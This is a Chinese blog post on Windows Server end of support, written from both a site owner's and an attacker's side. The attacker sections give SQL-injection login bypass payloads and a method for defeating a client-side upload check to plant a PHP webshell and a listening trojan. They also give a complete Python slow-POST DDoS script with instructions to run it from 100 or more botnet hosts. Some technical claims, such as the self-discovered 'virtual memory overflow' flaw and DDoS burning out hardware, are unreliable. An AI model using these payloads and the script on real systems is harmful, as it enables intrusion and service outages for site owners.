这次文章我使用了两面的方式,第一面是站长,第二面是攻击者(黑客),通过不同的角度,来模拟这个事件。
“停止支持”就是指Windows版本不会再接到安全更新,这意味着许多危险的漏洞一旦被黑客发现,只能乖乖被打。
但虽然Microsoft放弃WinServer2008(R2),其他的安全供应商和防病毒产品却没有放弃。更多的软件运营而出,其中就有一个软件“WinServer2008安全卫士”专门为WinServer2008打造,修复那些安全漏洞。
通常黑客入侵网站貌似都是靠网站脚本的漏洞(XSS/SQL等)拿到网站的管理权,但其实一些很高深的黑客,大多都是靠系统漏洞拿到整个操作系统的管理权。一些技术很高的黑客,甚至拿到操作系统权后,还要拿到硬件控制权(MBR木马,伪操作系统命令CPU/硬盘等),让整台服务器归他所有。
这听起来让我们站长毛骨悚然,但其实这一切背后都有解决的方案。
如果你需要购买云服务器,一定要认好厂商。我这里不是打广告,而是真的推荐各位去类似阿里云、腾讯云、百度云这些大的供应商购买,这样安全会有一些保障(我之前遇到一个,买了一台云服务器,在X宝云买的,结果那家供应公司倒闭了,服务器凉凉…………)。
选择好供应商后,就得选配置了。
网站 | 静态网站 | 动态网站 | 操作系统 |
---|---|---|---|
企业官网 | 4H2G5M60GB | 4H4G10M80GB | Windows Server 2012 R2 |
个人主页 | 1H1G1M40GB | 1H4G2M40GB | Windows Server 2008 R2(不考虑安全,因为配置问题) |
游戏网页 | 4H4G50M100GB | 8H16G50M120GB | Windows Server 2016 |
社交网站 | 8H8G20M60GB | 8H8G30M80GB | Windows Server 2012 R2 |
如果你准备买物理服务器,请你务必注意以下配置:
可用 | CPU | 硬盘 | 内存 | 散热 |
---|---|---|---|---|
Good | 8HAMD 1.5GHz↑ | 40GB↑ | 8GB物理 8.5GB虚拟↑ | 液柱降温 |
OK | 4HAMD1.5GHz↑ | 30GB↑ | 4GB物理 6GB虚拟↑ | 风扇降温 |
Oh no | 2HARM1.5GHz↓ | 20GB↓ | 2GB物理 0GB虚拟↓ | 无降温工具 |
(* Good表示很好,OK表示可以,Oh no表示买了就吃亏了)
(* ↑表示以上,↓表示以下)
因为2008的终结,许多服务器都需要更新系统了。例如政府服务器(据我所知,我所在地的政府机关用的服务器竟然是2000…)
那么,不同版本的服务器该如何升级到适合的版本呢?
必须升级了,因为Server 2000的漏洞简直是惨不忍睹。用Fluxay工具一扫2000,几乎一抓一大把致命BUG。
升级方式:
第一步,备份网站文件以及对系统内重要的文件,存在U盘(或其他硬盘)当中。(如果你是云服务器,则备份至云储存,例如阿里的OSS)
第二步,下载适合你服务器的镜像并安装。(云服务器可使用重装系统功能)
配置 | 可用系统 |
---|---|
1H1G1M20GB以下 | Windows Server 2012 核心版本(GUI如果安装则会从出现安装不上 |
1H1G1M40GB以上 | Windows Server 2012 GUI/核心版本、Windows Server 2016核心版本 |
第三步,安装后远程连接服务器,并且下载云储存或复制硬盘的文件到服务器,配置Apache/Nginx/IIS,并启动服务即可。
你可以选择升级,因为Server 2008虽然已停止支持,但是目前为止2008还不是太严重,不过建议升级。用Fluxay工具一扫2008,没扫出太多致命漏洞。
升级方式:
第一步,备份网站文件以及对系统内重要的文件,存在U盘(或其他硬盘)当中。(如果你是云服务器,则备份至云储存,例如阿里的OSS)
第二步,下载适合你服务器的镜像并安装。(云服务器可使用重装系统功能)
配置 | 可用系统 |
---|---|
1H1G1M20GB以下 | Windows Server 2012 核心版本(GUI如果安装则会从出现安装不上 |
1H1G1M40GB以上 | Windows Server 2012 GUI/核心版本、Windows Server 2016核心版本 |
第三步,安装后远程连接服务器,并且下载云储存或复制硬盘的文件到服务器,配置Apache/Nginx/IIS,并启动服务即可。
如果你用的是已经不受支持的系统,推荐更新系统。请参阅“第二种场景:准备更新系统?”
如果你用的是最新版或正在支持的系统,则需要考虑维护服务器漏洞和网站。下载安全狗软件,修复服务器安全漏洞以及扫描网站漏洞和木马(例如一句话、加密后门),并开启服务器防御模式,可有效对付攻击。
但很多攻击者会绕狗(就是躲避安全狗),这又是一个难题。遇到这种情况,如果你是技术人员,则可以尝试手动防御。如果你是一个代码一窍不通的站长,则只好下载一系列的安放软件尝试防御了。
下载抓包软件,检测是哪个IP对你进行了大量的连接。找到后,如果是公网IP,则可以利用安全狗IP,如果是内网IP(因为对方没有公网IP,则显示内网分配的IP),则最好不要禁止,因为有些网站访问者可能被分配到了一样的内网IP,这样会导致普通用户无法访问网站。
如果是后面的情况,则继续阅读以下内容。
内网攻击者一般都是普通的小黑客测试,例如读了我的文章Python3实现DDoS,想试一试。可是没想到造成了如此后果。
遇到内网攻击者,我们可以尝试:
暂时关闭网站,可能对方只是一时兴起,一段时间后便会风平浪静。
在站点上公布信息,劝告对方停止攻击。
联系网警并咨询方案,网警会帮助你防护并让对方受到一定的法律措施。
如果以上方法都不管用,那么我们要做的只有一个了:
继续防护。
找到内网攻击者IP,确认对方攻击的规律,并且确认对方有多少机器同时在进行攻击。明了后,再检查对方攻击的连接类型以及端口,如果是TCP/UDP连接,并且是80或443端口,则继续往下读。如果不是80/443端口,则可禁止此端口通过即可。(80/443是不固定的,按照你网站的端口来)
暂时关闭网站服务,并且申请闭站保护。申请完毕后,则可开始防御。
我们已经明白了对方的发包/连接规律,互联网中的连接一般都是携带信息的,利用抓包软件查看其中的信息,如果是一些从网上复制的代码,这里面的信息一般都是一些啥Test啊,Hacker啊一系列的。找到这些信息后,将其复制,利用脚本,每个连接检查包中是否包含此内容,如果有,那么1分钟内禁收此类型的包(封掉此类型的包),一段时间后,应该会有好转。
下载防病毒产品扫描并删除病毒/木马。
如果防病毒软件无法启动,则可使用以下办法:
先打开CMD,输入tasklist,记录下来。
设置EXE文件打开方式为记事本,这样病毒运行时只会打开记事本程序。而这样却又阻碍了Windows辅助程序的运行,所以我们是打不开资源浏览器的。
我们利用搜索栏搜索到CMD,然后输入tasklist,检查不正常的进程,终止它。(taskkill /IM xxx.exe)
终止后,我们需要找到此文件。恢复EXE打开方式为默认(CMD:ftype exefile="%1" %*),然后打开文件资源管理器,搜索此文件并强制删除。如果无法删除,例如显示与某类型文件或系统文件捆绑,则可以尝试进入安全模式后删除。删除后,根据网络教程修改注册表即可恢复正常。
恢复后,别忘使用安全软件再次杀毒!
你很可能中了病毒或木马!
木马和病毒清除方法如上,但还有一种情况,就是……
中了一句话木马!
寻找WWW根目录下的不正常文件,打开后检查内容是否是正常程序,如果不是,则立刻删除。
利用Windows漏洞攻击是一种很深奥的攻击方式,例如Wnuke黑客软件,就是利用Win2000/XP/Server 2000-2008的缓冲区漏洞来实现攻击的。
我们可以利用漏洞扫描器扫描到漏洞,然后利用此漏洞进行攻击。但大多数情况下,我们对一些陌生的漏洞的了解是比较少的,所以我们可以百度此漏洞,如果可以找到,就根据网上的教程进行入侵就可以了。
这里我收集了2个常见的老版本Windows漏洞,并列举了攻击方式。
Windows Server 2008 R2的漏洞还是很多的,例如远程桌面连接漏洞、强制连接端口漏洞等。今天我们就来讲这个强制连接端口漏洞。(利用一点点网站漏洞)
强制连接端口漏洞主要是Net Use方面,Net Use共享是一个很实用的功能。我们可以利用文件管理器实现Net Use,也可以利用CMD命令提示符。
CMD命令提示符:
此命令的语法是:
NET USE
[devicename | *] [\\computername\sharename[\volume] [password | *]]
[/USER:[domainname\]username]
[/USER:[dotted domain name\]username]
[/USER:[username@dotted domain name]
[/SMARTCARD]
[/SAVECRED]
[/REQUIREINTEGRITY]
[/REQUIREPRIVACY]
[/WRITETHROUGH]
[[/DELETE] | [/PERSISTENT:{YES | NO}]]
NET USE {devicename | *} [password | *] /HOME
NET USE [/PERSISTENT:{YES | NO}]
NET USE 将计算机连接到共享资源
或将计算机与共享资源断开连接。使用时如果没有选项,它会列出
计算机的连接。
devicename 分配一个名称以连接到资源,或指定
要断开连接的设备。有两种
设备名称: 磁盘驱动器(D: 至 Z:)和打印机
(LPT1: 至 LPT3:)。键入星号而不是
特定设备名称以分配下一个可用
设备名称。
\\computername 为控制共享资源的计算机
的名称。如果计算机名包含空白字符,
则用引号(" ")将双反斜杠(\\)和计算机名
括起来。计算机名的长度可以为
1 至 15 个字符。
\sharename 为共享资源的网络名称。
\volume 指定服务器上的 NetWare 卷。必须已安装并正在运行
Netware 客户端服务(Windows Workstations)
或 Netware 网关服务(Windows Server)
才能连接到 NetWare 服务器。
password 为访问共享资源所需的密码。
* 产生密码提示。在密码提示处
键入密码时不显示密码。
/USER 指定进行连接的另一个
用户名。
domainname 指定其他域。如果忽略域,
则使用当前登录的域。
username 指定登录所使用的用户名。
/SMARTCARD 指定连接将使用智能卡上
的凭据。
/SAVECRED 指定要保存用户名和密码。
该开关将被忽略,除非命令提示输入用户名
和密码。
/HOME 将用户连接到他们的主目录。
/DELETE 取消网络连接并
从持续连接列表中删除该连接。
/REQUIREINTEGRITY
需要签名的共享连接。如果提供程序
不支持签名连接,则操作将失败。
/REQUIREPRIVACY 需要加密的共享连接。如果提供程序
不支持加密连接,则操作将失败。
/PERSISTENT 控制持续网络连接的使用。
默认为上次使用的设置。
YES 进行连接时将它们保存,并在下次
登录时将它们恢复。
NO 不保存正在进行的连接或随后的
连接;下次登录时将恢复
现有连接。使用 /DELETE 开关删除
持续连接。
NET HELP 命令 | MORE 显示帮助,一次显示一屏。
通过Net Use连接对方,是需要密码的。可惜我们不知道Windows Server 2008 R2主机的密码。但是一个漏洞可以帮助我们。
扫描Windows Server 2008 R2后:
[+] 21 open
[+] 23 open
[+] 55 open
[+] 80 open
[+] 81 open
[+] 88 open
[+] 888 open
[+] 8000 open
[+] 8888 open
[+] 8900 open
[+] 9000 open
[+] 10000 open
[+] 10020 open
[+] 30122 open
[*] The scan is complete!
[*] A total of 14 open port
(这个结果不一定一致,因为某些管理员关闭了一些端口。但Windows Server 2008 R2某些版本因为一些原因默认开启了很多端口,并且这些端口都是空闲状态)
这些端口我们可以用来部署一个木马程序,我们可以利用Python写一个针对端口开放的木马,并且依靠网站漏洞上传。
我们可以选择端口:10000
他们是PHP5.2+MySQL5的网站,后台界面没有进行严格的SQL防护,但’or’=‘or’漏洞的万能密码却被过滤了。测试了29个’or’=‘or’万能码,都被红字弹窗打回。再次尝试注入:
UserName:admin#
PassWord:–
成功进入!
进入后用户名为AD_Admin,看来是我用户名搞错了!
注销后再次尝试注入:
UserName:AD_Admin
PassWord:a’ or 1=1–
成功进入………………(我真是……)
进入后,找一找上传文件的页面,竟然没有。只好找其他上传图片的页面,发现一个“上传首页滚动横幅”的选项,赶紧打开看看,结果限制上传.jpg/.png图片,思考半天,按了一个F12看看,没想到网站竟然是靠AJAX+javascript+PHP实现的上传!找到这里,JavaScript里有这么一段语句(已探过,是纯净态的页面传给do_picture.php):
...
if(filename.indexOf('png') !=-1 || filename.indexOf('jpg') !=-1){
...
}
...
把这个If删了!(偷偷地笑容)
删掉后上传一句话木马,成功上传。(没想到有人这么傻,在JavaScript里判断文件后缀)
上传后忽然发现不知道文件路径在哪,忽然想起来首页不是有图片吗!赶紧到首页去看看,首页上有一个破碎的图片(无效图片),复制链接,果然是我的一句话木马。
利用菜刀将PHP一句话换到C:\Windows\目录下,继续弄。
弄好后,再利用后台漏洞上传另一个滚动横幅,是一个自己写的监听10000端口的EXE木马,并且与sys文件绑定。上传后找到路径,利用PHP一句话移动都C:\Windows目录下,完美。
运行程序,并且用自己写的客户端连接服务器,成功!
致此,强制连接案例成功。
这个嘛,毕竟是Microsoft还在更新的版本,所以漏洞不多。但是毕竟还是有不少的!所以赶紧尝试尝试……
“分布式拒绝服务攻击”(DDoS)大家都听过。那么DDoS的原理可以这么理解:
不断向你扔苹果,最后你接不住了,苹果撒了,人累瘫了。
但是,DDoS的攻击流程是如何的?看一下我的网站遭遇DDoS后的详细信息:
时间 | 消耗 | 状态 |
---|---|---|
2020-7-29 | 19GB流量 2GB运存已满80% CPU100% | 运行堵塞 |
2020-7-30 | 40GB流量 2GB运存全满 CPU100% | 服务崩溃 |
2020-8-10 | 109.02GB流量 2GB运存全满 虚拟内存3GB CPU100% | 服务崩溃,服务器界面卡死 |
2020-8-19 | 201.29GB流量 2GB运存全满 虚拟内存20GB CPU100% | 服务器硬件过热损坏 |
简简单单的DDoS竟有这么大的能力!还能让我服务器硬件过热!(毕竟很正常,服务器超负荷了,硬件自然……)
那么我们今天利用Windows Server 2012 R2的“虚拟内存溢出”漏洞,让Windows Server 2012 R2的“硬盘爆满”“内存爆炸”“CPU100%”“硬件烧烂”吧!
首先确保你有不少于100台肉鸡(傀儡),否则很难成功!
Python脚本:(可以PyInstaller打包后放到肉鸡上)
import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=20000
PORT=80
HOST="www.baidu.com"#在双引号里输入对方IP或域名,要保证他联网了或开机了,这里拿百度做示范(别运行!不然后果自负!!)
PAGE="/index.php"
#---------------------------
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
socks=[]
def conn_thread():
global socks
for i in range(0,MAX_CONN):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((HOST,PORT))
s.send(buf.encode())
#print ("Send buf OK!,conn=%d\n"%i)
socks.append(s)
except Exception as ex:
#print ("Could not connect to server or send error:%s"%ex)
time.sleep(10)
#end def
def send_thread():
global socks
while True:
for s in socks:
try:
s.send("f".encode())
#print "send OK!"
except Exception as ex:
#print ("Send Exception:%s\n"%ex)
socks.remove(s)
s.close()
time.sleep(1)
#end def
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
conn_th.start()
send_th.start()
(注意修改参数)
打包后让所有虚拟机运行此脚本(打包注意-w参数),即可发动DDoS攻击。我们看一下Servre 2012 R2的状态:
时间 | 消耗 | 状态 | 配置 |
---|---|---|---|
2020-8-20 05:02:10 | 16G运存已满10% CPU30%(共16H,4核正在超负荷工作) 虚拟内存已2GB | 正常运行 | 16H16G (虚20G) 10M 29GB/40GB硬盘 |
2020-8-20 09:19:21 | 16GB运存已满89% CPU80%(共16H,12H正在超负荷工作) 虚拟内存已12GB | 运行缓慢 | 16H16G(虚20G) 10M 39GB/40GB(硬盘要满了!!!) |
2020-8-20 10:20:10 | 16GB运存全满 CPU100%(共16H,16H正在超负荷工作) 虚拟内存已13GB | 系统已崩溃,储存空间/运存 不足 | 16H16G(虚20G) 10M 40GB/40GB(硬盘满了,系统无法读取写入日志,导致崩溃。并且内存也满了) |
你可以很期待服务器硬件“爆炸”的那一刻。但抱歉,我不想这么做。因为这是我的服务器啊……
已经看到了,如果你的Windows Server 2012 R2的配置过高,并且你设置了虚拟内存很大,很可能在遭遇DDoS的时候让虚拟内存瞬间占满全盘。而Microsoft的Server系列里貌似没有检测硬盘是否不足的功能,如果硬盘不足,应该停止虚拟内存的使用,或直接尝试重启,而不是像傻子一样不断的祸害硬盘小哥……
此漏洞是个人研究发现的。因为MicrosoftServer设置虚拟内存时推荐设置比自己运存大一点儿的,所以硬盘空间就有可能在超负荷时,全部变满。因为Windows Server里没有这种代码:
...
if(hard_disk_space<10GB){
windows.virtual_memory.stop();
windows.warning(title="Windows 警告",content="储存空间不足,虚拟内存已停止读写。",button1="确认");
}
else{
...
windows.virtual_memory.read(xx,xx);
...
windows.virtual_memory.write(xx,xx);
}
...
(本段代码纯属虚构)
如果有这段代码,那么Windows肯定会及时检测虚拟内存是否过大,并且硬盘空间是否充足。如果不充足,那么就停止。这样下去,硬盘里的虚拟内存就会溢出,导致整块硬盘储存溢出崩溃。
Windows Server的版本一定要选好,并且要根据自己的情况来选择。
攻击者也一定要了解windows server版本,并找到适当的漏洞来攻击。这样攻击,就会事半功倍。
感谢阅读,下期再见!